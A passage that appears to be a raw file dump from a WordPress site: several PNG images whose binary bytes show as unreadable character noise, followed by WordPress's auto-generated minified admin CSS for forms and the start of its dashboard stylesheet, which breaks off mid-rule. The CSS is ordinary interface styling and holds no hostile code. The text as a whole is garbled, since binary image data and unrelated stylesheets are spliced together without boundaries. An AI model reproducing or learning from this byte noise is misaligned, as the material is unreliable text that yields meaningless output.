軔TYFu[qsȊcGy"t-*ҳ=XeGãVQR[^D9C|qcP9ϚMf3YN#vكc_CtPelE0XjW$3f:[0Tf&8AߩFo<{$v6Xjn4Ymf|S{
.G-haGjGX-?2/HԔ    IENDB`PNG

   
IHDR         a  IDATxڍSmHSaiQE_aR(ːB"AY(B`aVҒ$qMmlDjz;k{(M}9<9 O&*폠CIwIh\"K#mPo] U*YE>;n6 bZxQ٨(}z030<٦|NN~R 丢LN}vvOߘV7!fݐ/n e)GQu5|	ǽJ36$>C=7(!QQ/g}N[LmqrrÌ@m+ҥ{HnFr^w``v<kd?XLM,nLUrk"o^{ѬL~M_HoDbޯꅮjLw[x/4&%zUQv4=8k*r(ͫ fMc$랒*ޫA-.GgTȦp*9 8
ucՌݒ#etʓ) [^ $ȶO_JEE
L8?S@Tjmsۏ2D1:3br4Rh:c:]wF=t_p[!    IENDB`PNG

   
IHDR           D  ;PLTE   nnnnnnnnnsssnnnnnnnnnnnnnnnдqqquuunnnnnnZZZnnnssswwwxxx{{{|||}}}(ߝ   tRNS '*?Hk  IDAT8ˍV0 aƉJ кDJXkrW`:ڈsZJ `7 ctZΫh6[.cjWjOy{Ӫy#/@~}Ѳm[YZP@E.iMܯAtSI3zl_CpU~h@Y)p.>?ṢJ{vzksE#ǉU%ڋ{;;{gdzIj\uM$"#,?
!JtQf0)spE3D#n9}yQ=a`[ m`wc?k$=B?I5El%[ 5]W|
 R w
`(E)S\a)xaEVHM&~` ~U٣F$    IENDB`PNG

   
IHDR         (-S  PLTE       x  )1      	         
		z%)t                       37CH          ((NK    @>                     
          23  99  27  Xo  14/-    A?    FI  VZ
RWos  %)    <6    N^  K]

# #()@KNZnitzU   tRNS 
"*/58:=Agib   IDATc`x!47?fq(. Fڄ~Uڮxʶv¬LYRrG|W)"^j0{<܅WP3\ԍ|\F`OH'f "Aݒ۰V
=IQi-1԰B 	 h*    IENDB`/*! This file is auto-generated */
button,input,select,textarea{box-sizing:border-box;font-family:inherit;font-size:inherit;font-weight:inherit}input,textarea{font-size:14px}textarea{overflow:auto;padding:2px 6px;line-height:1.42857143;resize:vertical}input,select{margin:0 1px}textarea.code{padding:4px 6px 1px}input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],select,textarea{box-shadow:0 0 0 transparent;border-radius:4px;border:1px solid #8c8f94;background-color:#fff;color:#2c3338}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{padding:0 8px;line-height:2;min-height:30px}::-webkit-datetime-edit{line-height:1.85714286}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}input[type=email],input[type=url]{direction:ltr}input[type=checkbox],input[type=radio]{border:1px solid #8c8f94;border-radius:4px;background:#fff;color:#50575e;clear:none;cursor:pointer;display:inline-block;line-height:0;height:1rem;margin:-.25rem .25rem 0 0;outline:0;padding:0!important;text-align:center;vertical-align:middle;width:1rem;min-width:1rem;-webkit-appearance:none;box-shadow:inset 0 1px 2px rgba(0,0,0,.1);transition:.05s border-color ease-in-out}input[type=radio]:checked+label:before{color:#8c8f94}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#135e96}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio],td>input[type=checkbox]{margin-top:0}.wp-admin p label input[type=checkbox]{margin-top:-4px}.wp-admin p label input[type=radio]{margin-top:-2px}input[type=radio]{border-radius:50%;margin-right:.25rem;line-height:.71428571}input[type=checkbox]:checked::before,input[type=radio]:checked::before{float:left;display:inline-block;vertical-align:middle;width:1rem;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%233582c4%27%2F%3E%3C%2Fsvg%3E");margin:-.1875rem 0 0 -.25rem;height:1.3125rem;width:1.3125rem}input[type=radio]:checked::before{content:"";border-radius:50%;width:.5rem;height:.5rem;margin:.1875rem;background-color:#3582c4;line-height:1.14285714}@-moz-document url-prefix(){.form-table input.tog,input[type=checkbox],input[type=radio]{margin-bottom:-1px}}input[type=search]{-webkit-appearance:textfield}input[type=search]::-webkit-search-decoration{display:none}.wp-admin input[type=file]{padding:3px 0;cursor:pointer}input.readonly,input[readonly],textarea.readonly,textarea[readonly]{background-color:#f0f0f1}::-webkit-input-placeholder{color:#646970}::-moz-placeholder{color:#646970;opacity:1}:-ms-input-placeholder{color:#646970}.form-invalid .form-required,.form-invalid .form-required:focus,.form-invalid.form-required input,.form-invalid.form-required input:focus,.form-invalid.form-required select,.form-invalid.form-required select:focus{border-color:#d63638!important;box-shadow:0 0 2px rgba(214,54,56,.8)}.form-table .form-required.form-invalid td:after{content:"\f534";font:normal 20px/1 dashicons;color:#d63638;margin-left:-25px;vertical-align:middle}.form-table .form-required.user-pass1-wrap.form-invalid td:after{content:""}.form-table .form-required.user-pass1-wrap.form-invalid .password-input-wrapper:after{content:"\f534";font:normal 20px/1 dashicons;color:#d63638;margin:0 6px 0 -29px;vertical-align:middle}.form-input-tip{color:#646970}input.disabled,input:disabled,select.disabled,select:disabled,textarea.disabled,textarea:disabled{background:rgba(255,255,255,.5);border-color:rgba(220,220,222,.75);box-shadow:inset 0 1px 2px rgba(0,0,0,.04);color:rgba(44,51,56,.5)}input[type=file].disabled,input[type=file]:disabled,input[type=file][aria-disabled=true],input[type=range].disabled,input[type=range]:disabled,input[type=range][aria-disabled=true]{background:0 0;box-shadow:none;cursor:default}input[type=checkbox].disabled,input[type=checkbox].disabled:checked:before,input[type=checkbox]:disabled,input[type=checkbox]:disabled:checked:before,input[type=checkbox][aria-disabled=true],input[type=radio].disabled,input[type=radio].disabled:checked:before,input[type=radio]:disabled,input[type=radio]:disabled:checked:before,input[type=radio][aria-disabled=true]{opacity:.7;cursor:default}.wp-core-ui select{font-size:14px;line-height:2;color:#2c3338;border-color:#8c8f94;box-shadow:none;border-radius:3px;padding:0 24px 0 8px;min-height:30px;max-width:25rem;-webkit-appearance:none;background:#fff url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23555%22%2F%3E%3C%2Fsvg%3E') no-repeat right 5px top 55%;background-size:16px 16px;cursor:pointer;vertical-align:middle}.wp-core-ui select:hover{color:#2271b1}.wp-core-ui select:focus{border-color:#2271b1;color:#0a4b78;box-shadow:0 0 0 1px #2271b1}.wp-core-ui select:active{border-color:#8c8f94;box-shadow:none}.wp-core-ui select.disabled,.wp-core-ui select:disabled{color:#a7aaad;border-color:#dcdcde;background-color:#f6f7f7;background-image:url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20width%3D%2220%22%20height%3D%2220%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M5%206l5%205%205-5%202%201-7%207-7-7%202-1z%22%20fill%3D%22%23a0a5aa%22%2F%3E%3C%2Fsvg%3E');box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.wp-core-ui select[aria-disabled=true]{cursor:default}.wp-core-ui select:-moz-focusring{color:transparent;text-shadow:0 0 0 #0a4b78}.wp-core-ui select::-ms-value{background:0 0;color:#50575e}.wp-core-ui select:hover::-ms-value{color:#2271b1}.wp-core-ui select:focus::-ms-value{color:#0a4b78}.wp-core-ui select.disabled::-ms-value,.wp-core-ui select:disabled::-ms-value{color:#a7aaad}.wp-core-ui select::-ms-expand{display:none}.wp-admin .button-cancel{display:inline-block;min-height:28px;padding:0 5px;line-height:2}.meta-box-sortables select{max-width:100%}.meta-box-sortables input{vertical-align:middle}.misc-pub-post-status select{margin-top:0}.wp-core-ui select[multiple]{height:auto;padding-right:8px;background:#fff}.submit{padding:1.5em 0;margin:5px 0;border-bottom-left-radius:3px;border-bottom-right-radius:3px;border:none}form p.submit a.cancel:hover{text-decoration:none}p.submit{text-align:left;max-width:100%;margin-top:20px;padding-top:10px}.textright p.submit{border:none;text-align:right}table.form-table+input+input+p.submit,table.form-table+input+p.submit,table.form-table+p.submit{border-top:none;padding-top:0}#major-publishing-actions input,#minor-publishing-actions .preview,#minor-publishing-actions input{text-align:center}input.all-options,textarea.all-options{width:250px}input.large-text,textarea.large-text{width:99%}.regular-text{width:25em}input.small-text{width:50px;padding:0 6px}label input.small-text{margin-top:-4px}input[type=number].small-text{width:65px;padding-right:0}input.tiny-text{width:35px}input[type=number].tiny-text{width:45px;padding-right:0}#doaction,#doaction2,#post-query-submit{margin:0 8px 0 0}.no-js input#changeit2,.no-js input#doaction2,.no-js label[for=bulk-action-selector-bottom],.no-js label[for=new_role2],.no-js select#bulk-action-selector-bottom,.no-js select#new_role2{display:none}.tablenav .actions select{float:left;margin-right:6px;max-width:12.5rem}#timezone_string option{margin-left:1em}.wp-cancel-pw>.dashicons,.wp-hide-pw>.dashicons{position:relative;top:3px;width:1.25rem;height:1.25rem;top:.25rem;font-size:20px}.wp-cancel-pw .dashicons-no{display:none}#your-profile label+a,label{vertical-align:middle}#your-profile label+a,fieldset label{vertical-align:middle}.options-media-php [for*="_size_"]{min-width:10em;vertical-align:baseline}.options-media-php .small-text[name*="_size_"]{margin:0 0 1em}.wp-generate-pw{margin-top:1em;position:relative}.wp-pwd button{height:min-content}.wp-pwd button.pwd-toggle .dashicons{position:relative;top:.25rem}.wp-pwd{margin-top:1em;position:relative}.mailserver-pass-wrap .wp-pwd{display:inline-block;margin-top:0}#mailserver_pass{padding-right:2.5rem}.mailserver-pass-wrap .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:2;width:2.5rem;min-width:40px;margin:0;padding:0 9px;position:absolute;right:0;top:0}.mailserver-pass-wrap .button.wp-hide-pw:hover{background:0 0;border-color:transparent}.mailserver-pass-wrap .button.wp-hide-pw:focus{background:0 0;border-color:#3582c4;border-radius:4px;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.mailserver-pass-wrap .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}#misc-publishing-actions label{vertical-align:baseline}#pass-strength-result{background-color:#f0f0f1;border:1px solid #dcdcde;color:#1d2327;margin:-1px 1px 5px;padding:3px 5px;text-align:center;width:25em;box-sizing:border-box;opacity:0}#pass-strength-result.short{background-color:#ffabaf;border-color:#e65054;opacity:1}#pass-strength-result.bad{background-color:#facfd2;border-color:#f86368;opacity:1}#pass-strength-result.good{background-color:#f5e6ab;border-color:#f0c33c;opacity:1}#pass-strength-result.strong{background-color:#b8e6bf;border-color:#68de7c;opacity:1}.password-input-wrapper{display:inline-block}.password-input-wrapper input{font-family:Consolas,Monaco,monospace}#pass1-text.short,#pass1.short{border-color:#e65054}#pass1-text.bad,#pass1.bad{border-color:#f86368}#pass1-text.good,#pass1.good{border-color:#f0c33c}#pass1-text.strong,#pass1.strong{border-color:#68de7c}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.pw-weak{display:none}.indicator-hint{padding-top:8px}.wp-pwd [type=password],.wp-pwd [type=text]{margin-bottom:0;min-height:30px}.wp-pwd input::-ms-reveal{display:none}#pass1-text,.show-password #pass1{display:none}#pass1-text::-ms-clear{display:none}.show-password #pass1-text{display:inline-block}p.search-box{float:right;margin:0}.network-admin.themes-php p.search-box{clear:left}.search-box input[name="s"],.tablenav .search-plugins input[name="s"],.tagsdiv .newtag{float:left;margin:0 4px 0 0}.js.plugins-php .search-box .wp-filter-search{margin:0;width:280px}input[type=email].ui-autocomplete-loading,input[type=text].ui-autocomplete-loading{background-image:url(../images/loading.gif);background-repeat:no-repeat;background-position:right 5px center;visibility:visible}input.ui-autocomplete-input.open{border-bottom-color:transparent}ul#add-to-blog-users{margin:0 0 0 14px}.ui-autocomplete{padding:0;margin:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;box-shadow:0 1px 2px rgba(79,148,212,.8);background-color:#fff}.ui-autocomplete li{margin-bottom:0;padding:4px 10px;white-space:nowrap;text-align:left;cursor:pointer}.ui-autocomplete .ui-state-focus{background-color:#dcdcde}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:#2271b1;color:#fff;outline:2px solid transparent}.button-add-site-icon{width:100%;cursor:pointer;text-align:center;border:1px dashed #c3c4c7;box-sizing:border-box;padding:9px 0;line-height:1.6;max-width:270px}.button-add-site-icon:focus,.button-add-site-icon:hover{background:#fff}.site-icon-section .favicon-preview{float:left}.site-icon-section .app-icon-preview{float:left;margin:0 20px}.site-icon-section .site-icon-preview img{max-width:100%}.button-add-site-icon:focus{background-color:#fff;border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.form-table{border-collapse:collapse;margin-top:.5em;width:100%;clear:both}.form-table,.form-table td,.form-table td p,.form-table th{font-size:14px}.form-table td{margin-bottom:9px;padding:15px 10px;line-height:1.3;vertical-align:middle}.form-table th,.form-wrap label{color:#1d2327;font-weight:400;text-shadow:none;vertical-align:baseline}.form-table th{vertical-align:top;text-align:left;padding:20px 10px 20px 0;width:200px;line-height:1.3;font-weight:600}.form-table .td-full,.form-table th.th-full{width:auto;padding:20px 10px 20px 0;font-weight:400}.form-table td p{margin-top:4px;margin-bottom:0}.form-table .date-time-doc{margin-top:1em}.form-table p.timezone-info{margin:1em 0;display:flex;flex-direction:column}#local-time{margin-top:.5em}.form-table td fieldset label{margin:.35em 0 .5em!important;display:inline-block}.form-table td fieldset p label{margin-top:0!important}.form-table td fieldset label,.form-table td fieldset li,.form-table td fieldset p{line-height:1.4}.form-table input.tog,.form-table input[type=radio]{margin-top:-4px;margin-right:4px;float:none}.form-table .pre{padding:8px;margin:0}table.form-table td .updated{font-size:13px}table.form-table td .updated p{font-size:13px;margin:.3em 0}#profile-page .form-table textarea{width:500px;margin-bottom:6px}#profile-page .form-table #rich_editing{margin-right:5px}#your-profile legend{font-size:22px}#display_name{width:15em}#adduser .form-field input,#createuser .form-field input{width:25em}.color-option{display:inline-block;width:24%;padding:5px 15px 15px;box-sizing:border-box;margin-bottom:3px}.color-option.selected,.color-option:hover{background:#dcdcde}.color-palette{display:table;width:100%;border-spacing:0;border-collapse:collapse}.color-palette .color-palette-shade,.color-palette td{display:table-cell;height:20px;padding:0;border:none}.color-option{cursor:pointer}.create-application-password .form-field{max-width:25em}.create-application-password label{font-weight:600}.create-application-password p.submit{margin-bottom:0;padding-bottom:0;display:block}#application-passwords-section .notice{margin-top:20px;margin-bottom:0;word-wrap:break-word}.application-password-display input.code{width:19em}.auth-app-card.card{max-width:768px}.authorize-application-php .form-wrap p{display:block}.tool-box .title{margin:8px 0;font-size:18px;font-weight:400;line-height:24px}.label-responsive{vertical-align:middle}#export-filters p{margin:0 0 1em}#export-filters p.submit{margin:7px 0 5px}.card{position:relative;margin-top:20px;padding:.7em 2em 1em;min-width:255px;max-width:520px;border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff;box-sizing:border-box}.pressthis h4{margin:2em 0 1em}.pressthis textarea{width:100%;font-size:1em}#pressthis-code-wrap{overflow:auto}.pressthis-bookmarklet-wrapper{margin:20px 0 8px;vertical-align:top;position:relative;z-index:1}.pressthis-bookmarklet,.pressthis-bookmarklet:active,.pressthis-bookmarklet:focus,.pressthis-bookmarklet:hover{display:inline-block;position:relative;cursor:move;color:#2c3338;background:#dcdcde;border-radius:5px;border:1px solid #c3c4c7;font-style:normal;line-height:16px;font-size:14px;text-decoration:none}.pressthis-bookmarklet:active{outline:0}.pressthis-bookmarklet:after{content:"";width:70%;height:55%;z-index:-1;position:absolute;right:10px;bottom:9px;background:0 0;transform:skew(20deg) rotate(6deg);box-shadow:0 10px 8px rgba(0,0,0,.6)}.pressthis-bookmarklet:hover:after{transform:skew(20deg) rotate(9deg);box-shadow:0 10px 8px rgba(0,0,0,.7)}.pressthis-bookmarklet span{display:inline-block;margin:0;padding:0 12px 8px 9px}.pressthis-bookmarklet span:before{color:#787c82;font:normal 20px/1 dashicons;content:"\f157";position:relative;display:inline-block;top:4px;margin-right:4px}.pressthis-js-toggle{margin-left:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle.button.button{margin-left:10px;padding:0;height:auto;vertical-align:top}.pressthis-js-toggle .dashicons{margin:5px 8px 6px 7px;color:#50575e}.timezone-info code{white-space:nowrap}.defaultavatarpicker .avatar{margin:2px 0;vertical-align:middle}.options-general-php .date-time-text{display:inline-block;min-width:10em}.options-general-php input.small-text{width:56px;margin:-2px 0}.options-general-php .spinner{float:none;margin:-3px 3px 0}.options-general-php .language-install-spinner,.profile-php .language-install-spinner,.settings-php .language-install-spinner,.user-edit-php .language-install-spinner{display:inline-block;float:none;margin:-3px 5px 0;vertical-align:middle}.form-table.permalink-structure .available-structure-tags{margin-top:8px}.form-table.permalink-structure .available-structure-tags ul{display:flex;flex-wrap:wrap;margin:8px 0 0}.form-table.permalink-structure .available-structure-tags li{margin:6px 5px 0 0}.form-table.permalink-structure .available-structure-tags li:last-child{margin-right:0}.form-table.permalink-structure .structure-selection .row{margin-bottom:16px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 24px);display:inline-flex;flex-direction:column}.form-table.permalink-structure .structure-selection .row label{font-weight:600}.form-table.permalink-structure .structure-selection .row p{margin-top:0}.setup-php textarea{max-width:100%}.form-field #site-address{max-width:25em}.form-field #domain{max-width:22em}.form-field #admin-email,.form-field #blog_last_updated,.form-field #blog_registered,.form-field #path,.form-field #site-title{max-width:25em}.form-field #path{margin-bottom:5px}#search-sites,#search-users{max-width:60%}.configuration-rules-label{font-weight:600;margin-bottom:4px}.request-filesystem-credentials-dialog{display:none;visibility:visible}.request-filesystem-credentials-dialog .notification-dialog{top:10%;max-height:85%}.request-filesystem-credentials-dialog-content{margin:25px}#request-filesystem-credentials-title{font-size:1.3em;margin:1em 0}.request-filesystem-credentials-form legend{font-size:1em;padding:1.33em 0;font-weight:600}.request-filesystem-credentials-form input[type=password],.request-filesystem-credentials-form input[type=text]{display:block}.request-filesystem-credentials-dialog input[type=password],.request-filesystem-credentials-dialog input[type=text]{width:100%}.request-filesystem-credentials-form .field-title{font-weight:600}.request-filesystem-credentials-dialog label[for=hostname],.request-filesystem-credentials-dialog label[for=private_key],.request-filesystem-credentials-dialog label[for=public_key]{display:block;margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:left;width:48%}.request-filesystem-credentials-dialog .ftp-password{margin-left:4%}.request-filesystem-credentials-dialog .request-filesystem-credentials-action-buttons{text-align:right}.request-filesystem-credentials-dialog label[for=ftp]{margin-right:10px}.request-filesystem-credentials-dialog #auth-keys-desc{margin-bottom:0}#request-filesystem-credentials-dialog .button:not(:last-child){margin-right:10px}#request-filesystem-credentials-form .cancel-button{display:none}#request-filesystem-credentials-dialog .cancel-button{display:inline}.request-filesystem-credentials-dialog .ftp-password,.request-filesystem-credentials-dialog .ftp-username{float:none;width:auto}.request-filesystem-credentials-dialog .ftp-username{margin-bottom:1em}.request-filesystem-credentials-dialog .ftp-password{margin:0}.request-filesystem-credentials-dialog .ftp-password em{color:#8c8f94}.request-filesystem-credentials-dialog label{display:block;line-height:1.5;margin-bottom:1em}.request-filesystem-credentials-form legend{padding-bottom:0}.request-filesystem-credentials-form #ssh-keys legend{font-size:1.3em}.request-filesystem-credentials-form .notice{margin:0 0 20px;clear:both}.tools-privacy-policy-page form{margin-bottom:1.3em}.tools-privacy-policy-page input.button{margin:0 1px 0 6px}.tools-privacy-policy-page select{margin:0 1px .5em 6px}.tools-privacy-edit{margin:1.5em 0}.tools-privacy-policy-page span{line-height:2}.privacy_requests .column-email{width:40%}.privacy_requests .column-type{text-align:center}.privacy_requests tfoot td:first-child,.privacy_requests thead td:first-child{border-left:4px solid #fff}.privacy_requests tbody th{border-left:4px solid #fff;background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests .row-actions{color:#787c82}.privacy_requests .row-actions.processing{position:static}.privacy_requests tbody .has-request-results th{box-shadow:none}.privacy_requests tbody .request-results th .notice{margin:0 0 5px}.privacy_requests tbody td{background:#fff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.privacy_requests tbody .has-request-results td{box-shadow:none}.privacy_requests .next_steps .button{word-wrap:break-word;white-space:normal}.privacy_requests .status-request-confirmed td,.privacy_requests .status-request-confirmed th{background-color:#fff;border-left-color:#72aee6}.privacy_requests .status-request-failed td,.privacy_requests .status-request-failed th{background-color:#f6f7f7;border-left-color:#d63638}.privacy_requests .export_personal_data_failed a{vertical-align:baseline}.status-label{font-weight:600}.status-label.status-request-pending{font-weight:400;font-style:italic;color:#646970}.status-label.status-request-failed{color:#d63638;font-weight:600}.wp-privacy-request-form{clear:both}.wp-privacy-request-form-field{margin:1.5em 0}.wp-privacy-request-form input{margin:0}.email-personal-data::before{display:inline-block;font:normal 20px/1 dashicons;margin:3px 5px 0 -2px;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.email-personal-data--sending::before{color:#d63638;content:"\f463";animation:rotation 2s infinite linear}.email-personal-data--sent::before{color:#68de7c;content:"\f147"}@media screen and (max-width:782px){textarea{-webkit-appearance:none}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week]{-webkit-appearance:none;padding:3px 10px;min-height:40px}::-webkit-datetime-edit{line-height:1.875}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox],input[type=checkbox]{-webkit-appearance:none}.widefat tfoot td input[type=checkbox],.widefat th input[type=checkbox],.widefat thead td input[type=checkbox]{margin-bottom:8px}.widefat tfoot td input[type=checkbox]:before,.widefat th input[type=checkbox]:before,.widefat thead td input[type=checkbox]:before,input[type=checkbox]:checked:before{width:1.875rem;height:1.875rem;margin:-.1875rem -.3125rem}input[type=checkbox],input[type=radio]{height:1.5625rem;width:1.5625rem}.wp-admin p input[type=checkbox],.wp-admin p input[type=radio]{margin-top:-.1875rem}input[type=radio]:checked:before{vertical-align:middle;width:.5625rem;height:.5625rem;margin:.4375rem;line-height:.76190476}.wp-upload-form input[type=submit]{margin-top:10px}.wp-admin .form-table select,.wp-core-ui select{min-height:40px;font-size:16px;line-height:1.625;padding:5px 24px 5px 8px}.wp-admin .button-cancel{margin-bottom:0;padding:2px 0;font-size:14px;vertical-align:middle}#adduser .form-field input,#createuser .form-field input{width:100%}.form-table{box-sizing:border-box}.form-table td,.form-table th,.label-responsive{display:block;width:auto;vertical-align:middle}.label-responsive{margin:.5em 0}.export-filters li{margin-bottom:0}.form-table .color-palette .color-palette-shade,.form-table .color-palette td{display:table-cell;width:15px;height:30px;padding:0}.form-table .color-palette{margin-right:10px}input,textarea{font-size:16px}#profile-page .form-table textarea,.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td select,.form-table td textarea{width:100%;display:block;max-width:none;box-sizing:border-box}.form-table .form-required.form-invalid td:after{float:right;margin:-30px 3px 0 0}.form-table input[type=text].small-text,input[type=number].small-text,input[type=password].small-text,input[type=search].small-text,input[type=text].small-text{width:auto;max-width:4.375em;display:inline;padding:3px 6px;margin:0 3px}.form-table .regular-text~input[type=text].small-text{margin-top:5px}#pass-strength-result{width:100%;box-sizing:border-box;padding:8px}.password-input-wrapper{display:block}p.search-box{float:none;width:100%;margin-bottom:20px;display:flex}p.search-box input[name="s"]{float:none;width:100%;margin-bottom:10px;vertical-align:middle}p.search-box input[type=submit]{margin-bottom:10px}.form-table span.description{display:inline;padding:4px 0 0;line-height:1.4;font-size:14px}.form-table th{padding:10px 0 0;border-bottom:0}.form-table td{margin-bottom:0;padding:4px 0 6px}.form-table.permalink-structure td code{display:inline-block}.form-table.permalink-structure .structure-selection{margin-top:8px}.form-table.permalink-structure .structure-selection .row>div{max-width:calc(100% - 36px);width:100%}.form-table.permalink-structure td input[type=text]{margin-top:4px}.form-table input.regular-text{width:100%}.form-table label{font-size:14px}.form-table td>label:first-child{display:inline-block;margin-top:.35em}.background-position-control .button-group>label{font-size:0}.form-table fieldset label{display:block}.form-field #domain{max-width:none}.wp-pwd{position:relative}#profile-page .form-table #pass1{padding-right:90px}.wp-pwd button.button{background:0 0;border:1px solid transparent;box-shadow:none;line-height:2;margin:0;padding:5px 9px;position:absolute;right:0;top:0;width:2.375rem;height:2.375rem;min-width:40px;min-height:40px}.wp-pwd button.wp-hide-pw{right:2.5rem}body.user-new-php .wp-pwd button.wp-hide-pw{right:0}.wp-pwd button.button:focus,.wp-pwd button.button:hover{background:0 0}.wp-pwd button.button:active{background:0 0;box-shadow:none;transform:none}.wp-pwd .button .text{display:none}.wp-pwd [type=password],.wp-pwd [type=text]{line-height:2;padding-right:5rem}body.user-new-php .wp-pwd [type=password],body.user-new-php .wp-pwd [type=text]{padding-right:2.5rem}.wp-cancel-pw .dashicons-no{display:inline-block}.mailserver-pass-wrap .wp-pwd{display:block}#mailserver_pass{padding-left:10px}.options-general-php input[type=text].small-text{max-width:6.25em;margin:0}.tools-privacy-policy-page form.wp-create-privacy-page{margin-bottom:1em}.tools-privacy-policy-page input#set-page,.tools-privacy-policy-page select{margin:10px 0 0}.tools-privacy-policy-page .wp-create-privacy-page span{display:block;margin-bottom:1em}.tools-privacy-policy-page .wp-create-privacy-page .button{margin-left:0}.wp-list-table.privacy_requests tr:not(.inline-edit-row):not(.no-items) td.column-primary:not(.check-column){display:table-cell}.wp-list-table.privacy_requests.widefat th input,.wp-list-table.privacy_requests.widefat thead td input{margin-left:5px}.wp-privacy-request-form-field input[type=text]{width:100%;margin-bottom:10px;vertical-align:middle}.regular-text{max-width:100%}}@media only screen and (max-width:768px){.form-field input[type=email],.form-field input[type=password],.form-field input[type=text],.form-field select,.form-field textarea{width:99%}.form-wrap .form-field{padding:0}}@media only screen and (max-height:480px),screen and (max-width:450px){.file-editor-warning .notification-dialog,.request-filesystem-credentials-dialog .notification-dialog{width:100%;height:100%;max-height:100%;position:fixed;top:0;margin:0;left:0}}@media screen and (max-width:600px){.color-option{width:49%}}@media only screen and (max-width:320px){.options-general-php .date-time-text.date-time-custom-text{min-width:0;margin-right:.5em}}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(359deg)}}/*! This file is auto-generated */
#wpbody-content #dashboard-widgets.columns-1 .postbox-container{width:100%}#wpbody-content #dashboard-widgets.columns-2 .postbox-container{width:49.5%}#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4{float:left;width:50.5%}#wpbody-content #dashboard-widgets.columns-3 .postbox-container{width:33.5%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-1{width:33%}#wpbody-content #dashboard-widgets.columns-3 #postbox-container-3,#wpbody-content #dashboard-widgets.columns-3 #postbox-container-4{float:left}#wpbody-content #dashboard-widgets.columns-4 .postbox-container{width:25%}#dashboard-widgets .postbox-container{width:25%}#dashboard-widgets-wrap .columns-3 #postbox-container-4 .empty-container{border:none!important}#dashboard-widgets-wrap{overflow:hidden;margin:0 -8px}#dashboard-widgets .postbox .inside{margin-bottom:0}#dashboard-widgets .meta-box-sortables{display:flow-root;min-height:100px;margin:0 8px 20px}#dashboard-widgets .postbox-container .empty-container{outline:3px dashed #c3c4c7;height:250px}.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables{outline:3px dashed #646970;display:flow-root}#dashboard-widgets .postbox-container .empty-container:after{content:attr(data-emptystring);margin:auto;position:absolute;top:50%;right:0;left:0;transform:translateY(-50%);padding:0 2em;text-align:center;color:#646970;font-size:16px;line-height:1.5;display:none}#the-comment-list td.comment p.comment-author{margin-top:0;margin-right:0}#the-comment-list p.comment-author img{float:right;margin-left:8px}#the-comment-list p.comment-author strong a{border:none}#the-comment-list td{vertical-align:top}#the-comment-list td.comment{word-wrap:break-word}#the-comment-list td.comment img{max-width:100%}.index-php #screen-meta-links{margin:0 0 8px 20px}.welcome-panel{position:relative;overflow:auto;margin:16px 0;background-color:#151515;font-size:14px;line-height:1.3;clear:both}.welcome-panel h2{margin:0;font-size:48px;font-weight:600;line-height:1.25}.welcome-panel h3{margin:0;font-size:20px;font-weight:400;line-height:1.4}.welcome-panel p{font-size:inherit;line-height:inherit}.welcome-panel-header{position:relative;color:#fff}.welcome-panel-header-image{position:absolute!important;top:0;left:0;bottom:0;right:0;z-index:0!important;overflow:hidden}.welcome-panel-header-image svg{display:block;margin:auto;width:100%;height:100%}.rtl .welcome-panel-header-image 